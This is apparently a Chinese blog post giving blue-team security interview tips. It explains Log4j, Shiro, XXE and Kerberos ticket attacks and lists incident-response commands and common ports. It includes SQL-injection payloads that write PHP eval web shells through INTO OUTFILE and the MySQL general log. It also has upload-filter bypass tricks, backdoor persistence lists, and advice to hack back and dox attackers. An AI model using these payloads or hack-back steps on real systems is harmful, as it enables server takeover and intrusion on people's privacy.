关于蓝队面试经验
1.自我介绍能力
重要性
为什么将自我介绍能力放在第一位,实际上自我介绍才是面试中最重要的一点,因为护网面试并没有确定的题目,让面试官去提问
更多是的和面试官的一种 “交谈” ,面试的难易程度也自然就取决于你如何去和面试官 “聊天”。所以我认为自我介绍能力是面试能
力的首要位置
一些小建议
1.在面试前最好写个自我介绍,并且可以将他熟练的记下来,在面试开始前跟面试官请求先进行一个自我介绍,自我介绍的内容尽量突出
你的专业性,将你最有把我的信息展现出来,让面试官更能体会你的水平。
2.如果是学生,自我介绍的时候尽量避开年龄,当别人问了才回答,不问尽量别说
3.突出项目经历,尽可能详细的说出项目经历,越详细越能体现出你的经验。
2.一些我面试时候出现的比较多的问题
java log4j反序列化漏洞:
Log4j反序列化漏洞(CVE-2019-17571)
是由于Apache Log4j 1.x中存在的错误而导致的安全漏洞。这个漏洞仅影响已经过时的Log4j 1.x版本,不影响Log4j 2.x版本。
这个漏洞源于org.apache.log4j.net.SocketServer类中的handleRequest方法,在处理接收到的日志事件对象时没有正确地限制反序列化过程。
当攻击者向这个类发送恶意构造的序列化数据时,可能触发远程代码执行,从而导致严重的安全问题。
log4j2漏洞
Log4j2漏洞
这个漏洞不是由反序列化引起的,而是由于 Log4j2 的 JNDI 功能中的错误处理导致的。攻击者可以通过精心构造的日志消息触发 Log4j2 中的 JndiLookup 类来执行任意代码,从而导致远程代码执行。
sql注入写入shell的方法(http://example.com/view.php?id='123'为例子):
1.通过union联合查询进行shell写入:
123' union select 1,"<?php @eval($_GET['qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcmd'])?>" into outfile "绝对路径" --+
2.通过分隔符进行shell写入(union查询无法使用时候,多用于盲注):
123' into outfile "E:\phpStudy\PHPTutorial\WWW\DVWA-master\321.php" line terminated by "<?php <span class="label label-primary">@eval($_GET['cmd'])?</span>>" --+
原理解释:
这会创建一个名为 321.php 的文件,并将其存储在服务器上的 E:\phpStudy\PHPTutorial\WWW\DVWA-master 目录下。这个文件包含 <?php @eval($_GET[‘cmd’])?> 代码(因为LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>” 这句话将 <?php @eval($_GET[‘cmd’])?>作为行终止符。我们使用into outfile会创建一个321.php 的文件,但是无法使用union查询,所以无法写入向321.php 的文件,所以这个321.php 文件就只有一个开始符和终止符,我们使用LINES TERMINATED BY “<?php @eval($_GET[‘cmd’])?>”,就可以将终止符设置为<?php @eval($_GET[‘cmd’])?>),当访问该文件时,它将显示服务器的 PHP 配置信息。
相同的道理还可以使用:
?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#
?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#
这四个注入语句
3.通过log写入shell
原理解释:
开启mysql的log功能,并且把log功能设置为一个可访问的php文件路径A,然后执行一个带有php命令的sql语句,该语句会被log记录,然后关闭log功能,访问PHP路径A,由于关闭了log功能,php文件正常会被当成php执行,刚刚开启log时候,由于记录了带有php代码是sql语句,所以php文件A带有了php命令,访问php文件A即可。
命令:
show variables like ‘%general%’; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址
select '<?php eval($_POST[shell]);?>' #写入shell
set global general_log=off; #关闭general log模式
3.java内存马查杀
Java 内存马是一种通过将恶意代码加载到 Java 运行时环境(JRE)的内存中来执行攻击的木马。手动查杀 Java 内存马需要关注异常行为和可疑进程。这里有一些建议供您参考:
-
寻找异常进程
-
使用任务管理器(Windows)或 top/ps 命令(Linux)查看当前运行的所有进程。
-
查找异常的 Java 进程,如 CPU 占用率过高、内存占用率不正常等。
-
-
分析 Java 堆栈
-
对可疑的 Java 进程执行
jstack
命令以获取线程堆栈信息:jstack [pid] > stack.txt
。 -
仔细查看堆栈信息,寻找不寻常的类、方法或代码段。
-
-
检查 Java 类加载器
-
使用
jmap
命令列出 Java 进程中的所有类加载器:jmap -clstats [pid]
。 -
查找非标准的类加载器,例如不属于 Java 系统类加载器的自定义类加载器。
-
-
审查 Java 虚拟机参数
-
检查 Java 虚拟机的启动参数,使用
jinfo
命令:jinfo -flags [pid]
。 -
确保不存在可疑的启动参数,如
-javaagent
或-Xbootclasspath
等。
-
-
监控网络连接
-
使用
netstat
(Windows)或lsof
(Linux)命令查看当前的网络连接。 -
关注未知或异常的远程连接,特别是与可疑的 Java 进程相关的连接。
-
4.应急的时候常看的Windows目录
hosts文件所在位置:C:\Windows\System32\drivers\etc\hosts
日记所在位置 计算机管理 --》事件查看器 --》 windows日志
定时任务查看 --- schtasks
启动项查看 ---msconfig --》启动
5.应急时候常使用的Windows命令:
进程查看 ---tasklist
网络连接情况 ---netstat -ano
端口情况 --netstat
执行的服务查看 ---Services.msc
6.应急的时候常看的Linux目录:
环境变量所在位置:etc/environment
host文件所在位置 ---etc/hosts
日志所在位置 --- var/log
定时任务所在位置 --- etc/crontab
定时任务命令:列出定时任务:crontab -l ;编辑定时任务:crontab -e
启动项所在位置 ---etc/rc[0-6].d 这个表示的是不同运行级别(runlevel)执行的启动项命令不一样, 例如runlevel6表示的是重启,重启就会执行etc/rc6.d里面的任务
7.应急的时候常看Linux命令:
进程查看 --- ps -aux
网络连接查看 --- netstat -s
端口查看 --- netstat -antp
服务查看 --- service
8.文件上传漏洞绕过思路
1.黑名单
a.后缀名不完整 .php5 .phtml等
b.上传.htacess
c.大小写
d.在数据包中 后文件缀名前加空格
e.后缀名前加.
f.加上::$DATA
g.未循环验证,可以使用x.php..类似的方法
2.白名单(一般需要配合其他漏洞一起利用)
a.%00截断
b.图片马
c.条件竞争
9.白银票据与黄金票据的原理
金票:
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client
一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,
krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造
TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,
就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改
银票:
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的
第三步,Client 带着 ST 和Authenticator3 向 Server 上的某个服务进行请求,
Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得
Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证
成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的
Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用
10.window权限维持
1.替换系统文件类
(shift 后门,放大镜后门)
2.修改注册表类,
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、
影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、
xx.Netsh Helper DLL
3.文件类
自启动文件夹、office Word StartUp 劫持
4.计划任务
schtasks 、WMI、bitsadmin
11.linux权限维持
1.预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6.协议后门
7.vim 后门
8.PAM 后门
9.进程注入
10.Rootkit
11.端口复用
12. 蓝队常用的反制手段有哪些?
a. 蜜罐
b. 对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c. 应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)
d. id -> 社交特征关联
e. 钓鱼网站 -> 后台扫描、XSS盲打
f. 木马文件 -> 同源样本关联 -> 敏感字符串特征检测
13.应急响应的目的
1.判断黑客是否成功入侵
2.如果成功入侵,阻断黑客的攻击(把网线)
3.提取攻击样本,分析黑客的进攻路径
4.找到漏洞所在,即时修复漏洞
14.常见端口20.21 ftp
22 ssh
80 apache,nginx,http,iis
443 https
1433 sql server
1521 oracle数据库
2375 docker
3306 mysql
3389 rdp
5000 DB2
5432 postgresql
6379 redis数据库
7001 weblogic
8080 tomact jboss
9090 websphere中间件
9200 Elasticsearch
27017 mongodb
50070 hadoop数据库
15.溯源具体思路:
1.获取到ip。将该ip放在威胁感知分析平台进行分析,如果该ip存在web,查询网站的备案号等看是否可疑获取到个人信息,或者对该ip的web进行测试,看是否有漏洞,对该web进行渗透,看是否可以控制红队的攻击机,在其机器上进行信息收集,看是否可以获取到其他信息。
2.获取到黑客的某些个人信息,例如电话号码。进行社工,可以在各种社交软件中查询,看能不能获取到更多的信息,将范围逐步缩小至个人。
16.SHIRO-550:
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞
17.SHIRO-721反序列化漏洞
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的
RememberMe cookie即可完成攻击
18.XXE是什么
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件
保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁
止对外部实体的解析。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线